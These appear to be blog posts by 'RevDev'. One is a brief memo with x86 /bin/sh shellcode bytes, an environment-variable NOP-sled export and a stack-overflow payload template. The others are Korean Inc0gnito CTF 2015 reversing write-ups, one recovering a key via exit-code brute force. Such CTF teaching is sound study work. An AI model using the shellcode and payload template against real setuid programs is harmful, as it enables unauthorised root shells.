[SHELLCODE Example]
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

[Export SHELLCODE]
export envname=`python -c 'print "\x90"*SizeOfNOP+"SHELLCODE"'`

[Export ENVaddr]
int main(int argc, char *argv[]) {
  char *env = getenv(argv[1]);        
  printf("ENV addr =  %p\n",env);
}

[Payload Example]
./filename `python -c 'print "\x90"*SizeOfBuf+"ENVaddr"'`


'Repository > Library' 카테고리의 다른 글

[Library / Pwnable] Return To Libc Memo  (0) 2015.08.30
Posted by RevDev
,

Inc0gnito CTF 2015 Write-Up | By RevDev

Reversing - Reversing [150pt]


1. Ready to Solve
Problem
CTF website Closed :(


Used Tools
IDA Pro 6.6 With HexRay



2. Solve

너무나도 허탈한 문제라 별도의 풀이를 올리지 않고, 사진 2장과 간단한 상황 설명으로 대신하겠다.

Proximity View로 보면은 대략 위와 같은 모양이 나온다. 리버싱의 가장 기본 단계인 main을 살펴보자. 굳이 HexRay가 있는데 핸드레이를 할 필요가 없다. F5를 눌러주자.

다음과 같은 코드가 나온다. 그런데 코드를 잘 보면 sub_401000이라는 의심스러운 함수가 보인다. 해당 함수에 들어가면 Auth Key(…)가 무려 평문(…)으로 저장 되어있다.



3. Flag

Posted by RevDev
,

Inc0gnito CTF 2015 Write-Up | By RevDev

Reversing - Anti Hexray [100pt]


1. Ready to Solve
Problem
Find the key
ssh anti_hexray@ssh.inc0gnito.com anti_hexray
anti_hexray_c878be02ae603ac59c793d58d06cc54489ff8251 


Used Tools
GNU bash (version 4.3.11)
IDA Pro 6.6 With HexRay



2. Gathering Informations
File List
anti_hexray@incognito1:~$ ls -al
total 36
drwx--xr-x  4 root root             4096 Aug 23 04:10 .
drwxr-x--x 13 root root             4096 Aug 22 09:14 ..
-rwxr-sr-x  1 root anti_hexray_root 8228 Aug 23 04:07 anti_hexray
----------  1 root root                0 Aug 23 04:10 .bash_history
drwx------  2 root root             4096 Aug 23 04:01 .cache
-r--r-----  1 root anti_hexray_root   18 Aug 23 04:07 flag
drwx------  2 root root             4096 Aug 23 03:54 .ssh
-rw-------  1 root root             1782 Aug 23 04:03 .viminfo


Disassembled Code
Dump of assembler code for function main:
0x000000000040073c <+0>:    push   rbp
0x000000000040073d <+1>:    mov    rbp,rsp
0x0000000000400740 <+4>:    sub    rsp,0xb0
0x0000000000400747 <+11>:    mov    DWORD PTR [rbp-0xa4],edi
0x000000000040074d <+17>:    mov    QWORD PTR [rbp-0xb0],rsi
0x0000000000400754 <+24>:    mov    rax,QWORD PTR fs:0x28
0x000000000040075d <+33>:    mov    QWORD PTR [rbp-0x8],rax
0x0000000000400761 <+37>:    xor    eax,eax
0x0000000000400763 <+39>:    mov    QWORD PTR [rbp-0x90],0x40099c
0x000000000040076e <+50>:    mov    QWORD PTR [rbp-0x88],0x4009ab
0x0000000000400779 <+61>:    mov    QWORD PTR [rbp-0x80],0x4009b4
0x0000000000400781 <+69>:    mov    QWORD PTR [rbp-0x78],0x4009bd
0x0000000000400789 <+77>:    mov    QWORD PTR [rbp-0x70],0x4009c6
0x0000000000400791 <+85>:    mov    QWORD PTR [rbp-0x68],0x4009cf
0x0000000000400799 <+93>:    mov    QWORD PTR [rbp-0x60],0x4009d8
0x00000000004007a1 <+101>:    mov    QWORD PTR [rbp-0x58],0x4009e1
0x00000000004007a9 <+109>:    mov    QWORD PTR [rbp-0x50],0x4009ea
0x00000000004007b1 <+117>:    mov    QWORD PTR [rbp-0x48],0x4009f3
0x00000000004007b9 <+125>:    mov    QWORD PTR [rbp-0x40],0x4009fc
0x00000000004007c1 <+133>:    mov    QWORD PTR [rbp-0x38],0x400a05
0x00000000004007c9 <+141>:    mov    DWORD PTR [rbp-0x9c],0xbb8
0x00000000004007d3 <+151>:    mov    DWORD PTR [rbp-0x98],0x1388
0x00000000004007dd <+161>:    push   rsp
0x00000000004007de <+162>:    mov    r15,rsp
0x00000000004007e1 <+165>:    xor    rsp,rsp
0x00000000004007e4 <+168>:    mov    rsp,r15
0x00000000004007e7 <+171>:    lea    rax,[rbp-0x30]
0x00000000004007eb <+175>:    mov    edx,0x20
0x00000000004007f0 <+180>:    mov    esi,0x0
0x00000000004007f5 <+185>:    mov    rdi,rax
0x00000000004007f8 <+188>:    call   0x4005c0 <memset@plt>
0x00000000004007fd <+193>:    mov    DWORD PTR [rbp-0xa0],0x0
0x0000000000400807 <+203>:    jmp    0x40081c <main+224>
0x0000000000400809 <+205>:    mov    eax,DWORD PTR [rbp-0x9c]
0x000000000040080f <+211>:    add    DWORD PTR [rbp-0xa0],eax
0x0000000000400815 <+217>:    add    DWORD PTR [rbp-0xa0],0x1
0x000000000040081c <+224>:    mov    eax,DWORD PTR [rbp-0xa0]
0x0000000000400822 <+230>:    cmp    eax,DWORD PTR [rbp-0x9c]
0x0000000000400828 <+236>:    jb     0x400809 <main+205>
0x000000000040082a <+238>:    mov    esi,0x800
0x000000000040082f <+243>:    mov    edi,0x400a0e
0x0000000000400834 <+248>:    mov    eax,0x0
0x0000000000400839 <+253>:    call   0x400610 <open@plt>
0x000000000040083e <+258>:    mov    DWORD PTR [rbp-0x94],eax
0x0000000000400844 <+264>:    xor    rsp,rsp
0x0000000000400847 <+267>:    mov    rsp,r15
0x000000000040084a <+270>:    mov    eax,DWORD PTR [rbp-0x94]
0x0000000000400850 <+276>:    lea    rcx,[rbp-0x30]
0x0000000000400854 <+280>:    mov    edx,0x20
0x0000000000400859 <+285>:    mov    rsi,rcx
0x000000000040085c <+288>:    mov    edi,eax
0x000000000040085e <+290>:    call   0x4005e0 <read@plt>
0x0000000000400863 <+295>:    push   rsp
0x0000000000400864 <+296>:    mov    rax,QWORD PTR [rbp-0xb0]
0x000000000040086b <+303>:    add    rax,0x8
0x000000000040086f <+307>:    mov    rax,QWORD PTR [rax]
0x0000000000400872 <+310>:    mov    rdi,rax
0x0000000000400875 <+313>:    call   0x4005a0 <strlen@plt>
0x000000000040087a <+318>:    mov    rdx,rax
0x000000000040087d <+321>:    mov    rax,QWORD PTR [rbp-0xb0]
0x0000000000400884 <+328>:    add    rax,0x8
0x0000000000400888 <+332>:    mov    rcx,QWORD PTR [rax]
0x000000000040088b <+335>:    lea    rax,[rbp-0x30]
0x000000000040088f <+339>:    mov    rsi,rcx
0x0000000000400892 <+342>:    mov    rdi,rax
0x0000000000400895 <+345>:    call   0x400600 <memcmp@plt>
0x000000000040089a <+350>:    mov    DWORD PTR [rbp-0x9c],eax
0x00000000004008a0 <+356>:    cmp    DWORD PTR [rbp-0x9c],0x0
0x00000000004008a7 <+363>:    je     0x4008c0 <main+388>
0x00000000004008a9 <+365>:    mov    eax,DWORD PTR [rbp-0x94]
0x00000000004008af <+371>:    mov    edi,eax
0x00000000004008b1 <+373>:    call   0x4005d0 <close@plt>
0x00000000004008b6 <+378>:    mov    edi,0x1
0x00000000004008bb <+383>:    call   0x400620 <exit@plt>
0x00000000004008c0 <+388>:    push   rbx
0x00000000004008c1 <+389>:    mov    eax,DWORD PTR [rbp-0x94]
0x00000000004008c7 <+395>:    mov    edi,eax
0x00000000004008c9 <+397>:    call   0x4005d0 <close@plt>
0x00000000004008ce <+402>:    mov    eax,0x0
0x00000000004008d3 <+407>:    mov    rdx,QWORD PTR [rbp-0x8]
0x00000000004008d7 <+411>:    xor    rdx,QWORD PTR fs:0x28
0x00000000004008e0 <+420>:    je     0x4008e7 <main+427>
0x00000000004008e2 <+422>:    call   0x4005b0 <__stack_chk_fail@plt>
0x00000000004008e7 <+427>:    leave  
0x00000000004008e8 <+428>:    ret 
End of assembler dump.



3. Solve

말 그대로 HexRay로 분석하지 못하도록 Anti HexRay 기법이 걸려있다.
HexRay 플러그인으로 열어보려고 하면, positive sp value has been found라면 Decompilation failure가 뜨게 된다.
어쩔 수 없이 HandRay를 수행해야한다. IDA의 강점 중 하나인 Graph View를 이용하여 전체적인 분기문의 모습을 살펴보도록 하자.

생각보다 간단한 풀이가 될 듯하다. 좀 더 세부적으로 살펴보면서 찬찬히 HandRay를 하도록 하자.

일단 가장 먼저 나오는 분기문 부분이다. 크게 중요한 부분은 없는 듯 하고, loc_40081Cloc_400809로 이어지는 반복 문 또한, 메인 루틴에서 쓰이지 않으므로 무시해도 된다. 여기서 그나마 의미 있는 부분은 위 어셈블리 문에서

0x00000000004007e7 <+171>:    lea    rax,[rbp-0x30]
0x00000000004007eb <+175>:    mov    edx,0x20
0x00000000004007f0 <+180>:    mov    esi,0x0
0x00000000004007f5 <+185>:    mov    rdi,rax
0x00000000004007f8 <+188>:    call   0x4005c0 <memset@plt>

부분에 해당하는 memset함수 부분이다. 이 부분의 인자들과 기타 변수들을 적절히 해석하여 코드로 바꾸어 주자.

memset(unk_1, 0, 32);

본인의 경우에는 아직 rbp-0x30이 어떠한 변수인지 모르므로 unk_1이라는 식별자를 붙여주었다. 계속해서 다음 부분을 살펴보도록 하자.

이 부분이 가장 중요한 부분이다. 찬찬히 살펴보도록 하자. 가장 먼저 파일 경로로 보이는 문자열이 눈에 보인다. 내친김에 이 파일 경로로 무엇을 하는지 확인하자. Disassemble Dump에서는 다음 부분이다.

0x000000000040082a <+238>:    mov    esi,0x800
0x000000000040082f <+243>:    mov    edi,0x400a0e
0x0000000000400834 <+248>:    mov    eax,0x0
0x0000000000400839 <+253>:    call   0x400610 <open@plt>
0x000000000040083e <+258>:    mov    DWORD PTR [rbp-0x94],eax
0x0000000000400844 <+264>:    xor    rsp,rsp
0x0000000000400847 <+267>:    mov    rsp,r15
0x000000000040084a <+270>:    mov    eax,DWORD PTR [rbp-0x94]
0x0000000000400850 <+276>:    lea    rcx,[rbp-0x30]
0x0000000000400854 <+280>:    mov    edx,0x20
0x0000000000400859 <+285>:    mov    rsi,rcx
0x000000000040085c <+288>:    mov    edi,eax
0x000000000040085e <+290>:    call   0x4005e0 <read@plt>

여기서 rbp-0x94가 들어간 인자 위치로 보나, 두 함수에서 중복되어 쓰였다는 것을 보나, rbp-0x94fd(File Descriptor)라는 것을 알 수 있다. 또, open에서 얻어낸 fd값이 rbp-0x94즉, fd에 들어가고 그 값을 다시 read에서 File Descriptor로 사용하는 것으로 말미암아, /home/anti_hexray/flag라는 파일에서 무언가를 읽어온다는 것 또한 짐작할 수 있다. 여기서 입력된 값이 들어가는 버퍼는 위에서 unk_1이라고 명명한 rbp-0x30이다. 이제 이 정보들을 토대로 계속 코드를 재구성 해보자.

memset(buf, 0, 32);
fd = open("/home/anti_hexray/flag" 0x800, 32);
read(fd, buf, 32);

좋다, 지금까지 우리가 알아낸 사실은 32byte짜리 buf배열을 0으로 초기화 한 뒤, 그 buf/home/anti_hexray/flag의 값을 32byte만큼 읽어온다는 것이다. 계속 진행하도록 하자. 그 다음으로 살펴 볼 코드는 다음 부분이다.

0x0000000000400863 <+295>:    push   rsp
0x0000000000400864 <+296>:    mov    rax,QWORD PTR [rbp-0xb0]
0x000000000040086b <+303>:    add    rax,0x8
0x000000000040086f <+307>:    mov    rax,QWORD PTR [rax]
0x0000000000400872 <+310>:    mov    rdi,rax
0x0000000000400875 <+313>:    call   0x4005a0 <strlen@plt>
0x000000000040087a <+318>:    mov    rdx,rax
0x000000000040087d <+321>:    mov    rax,QWORD PTR [rbp-0xb0]
0x0000000000400884 <+328>:    add    rax,0x8
0x0000000000400888 <+332>:    mov    rcx,QWORD PTR [rax]
0x000000000040088b <+335>:    lea    rax,[rbp-0x30]
0x000000000040088f <+339>:    mov    rsi,rcx
0x0000000000400892 <+342>:    mov    rdi,rax
0x0000000000400895 <+345>:    call   0x400600 <memcmp@plt>
0x000000000040089a <+350>:    mov    DWORD PTR [rbp-0x9c],eax
0x00000000004008a0 <+356>:    cmp    DWORD PTR [rbp-0x9c],0x0
0x00000000004008a7 <+363>:    je     0x4008c0 <main+388>

전체 Graph View에서 본, 마지막 분기 부분 전까지 해석해보도록 하자. main+296에서 main+313까지를 보면, rbp-0xb0에서 0x8만큼을 더한 곳의 문자열을 strlen함수의 인자로 넘겨주고 있다. 그 다음, 그 값을 rdx를 통해 memcmp함수의 마지막 인자로 전달한다. 여기서 우리는 아직 rbp-0xb0+0x8의 정체를 모르기 때문에 일단은 unkStr이라 놓고 보겠다. memcmp함수에는 unkStr문자열의 길이를 구하여 그 만큼의 unkStr문자열을 위의 buf배열과 비교한다. 그럼 대충 짐작이 가지 않는가? unkStr은 유저가 건네준 Input이라는 것이? 그러나 이전까지의 함수 진행에서 별도의 입력 함수가 없었기에 본인은 unkStr이 Argv가 아닐까하고 예상했다. 그리고 나중에 GDB로 디버깅 결과 실제로 그러하였다.
뭐 이렇게 해서 unkStrArgv[1]이라는 것이 확정되었다. 자 그럼 조금 더 내려가면 memcmp의 결과값이 0, 즉 두 값이 같을 경우에만 0x4008c0주소로 점프하게 된다. 이는 전형적인 if문이다. 계속 코드를 복원하자.

memset(buf, 0, 32);
fd = open("/home/anti_hexray/flag" 0x800, 32);
read(fd, buf, 32);
lenArg = strlen(argv[1]);
if(memcmp(buf, argv[1], lenArg))

이제 남은 마지막 부분까지 해독해보도록 하자.

0x00000000004008a9 <+365>:    mov    eax,DWORD PTR [rbp-0x94]
0x00000000004008af <+371>:    mov    edi,eax
0x00000000004008b1 <+373>:    call   0x4005d0 <close@plt>
0x00000000004008b6 <+378>:    mov    edi,0x1
0x00000000004008bb <+383>:    call   0x400620 <exit@plt>
0x00000000004008c0 <+388>:    push   rbx
0x00000000004008c1 <+389>:    mov    eax,DWORD PTR [rbp-0x94]
0x00000000004008c7 <+395>:    mov    edi,eax
0x00000000004008c9 <+397>:    call   0x4005d0 <close@plt>
0x00000000004008ce <+402>:    mov    eax,0x0
0x00000000004008d3 <+407>:    mov    rdx,QWORD PTR [rbp-0x8]
0x00000000004008d7 <+411>:    xor    rdx,QWORD PTR fs:0x28
0x00000000004008e0 <+420>:    je     0x4008e7 <main+427>
0x00000000004008e2 <+422>:    call   0x4005b0 <__stack_chk_fail@plt>
0x00000000004008e7 <+427>:    leave  
0x00000000004008e8 <+428>:    ret

main+365에서 main_383까지를 해석하면, fd를 close함수를 통해 닫은 뒤, 인자인 edi에 0x1을 넣은 채로 exit함수를 실행해 프로그램을 종료하게 된다. 그 밑으로 main+388부터는 main+363의 조건분기문에 의해 분기된 부분으로서, 이 부분 또한 fd를 닫는 것 까지 같다. 다만 다른 점이라면 Stack Check를 수행하는 것과, eax의 값이 0인 채로 리턴된다는 것 정도이다. 자, 이제 전체 코드를 복원해보자.

memset(buf, 0, 32);
fd = open("/home/anti_hexray/flag" 0x800, 32);
read(fd, buf, 32);
lenArg = strlen(argv[1]);
if(memcmp(buf, argv[1], lenArg)){
    close(fd);
    exit(1);
}
close(fd);
return 0;

이 코드를 분석해보자. 사실상 이 코드가 뜻하는 바는 간단하다. 프로그램 호출시 Argv로 준 값과 파일에서 읽어온 값을 Argv의 길이만큼 비교해, 같다면 0을, 틀리다면 1을 리턴하게 된다. 그런데 여기서 의문이 생길 수 있을 것이다. 그래서, Auth값을 어떻게 구할건가? 물론 방법은 있다. 다음 화면을 보자.

실제 문제 서버 상에서 프로그램을 실행시킨 결과이다. 물론 코드와 같이 별도의 출력이라던가, 기타 Auth Key유추에 필요한 정보는 프로그램 상에서 주지 않는다. 그러나, 리눅스에 대해 어느 정도 다루어 본 사람들은 echo명령어를 떠올릴 수 있을 것이다. echo $?는 가장 나중에 실행되었던 프로그램의 리턴 값을 출력해주는 리눅스 쉘 명령어이다. 이를 응용하면 쉽게 문제를 풀 수 있을 것이다. 조금만 더 확인해보자.

보다시피, 특정한 값을 입력시 0으로 리턴되는 것을 볼 수 있다. memcmp함수는 어디까지나 1byte씩 비교하는 함수이므로…
뭐, 결론만 말하자면 0이 리턴 값으로 나오는 문자를 하나하나 브루트 포싱으로 구하면 완성된 문자열이 Auth Key이다.



4. Flag

Posted by RevDev
,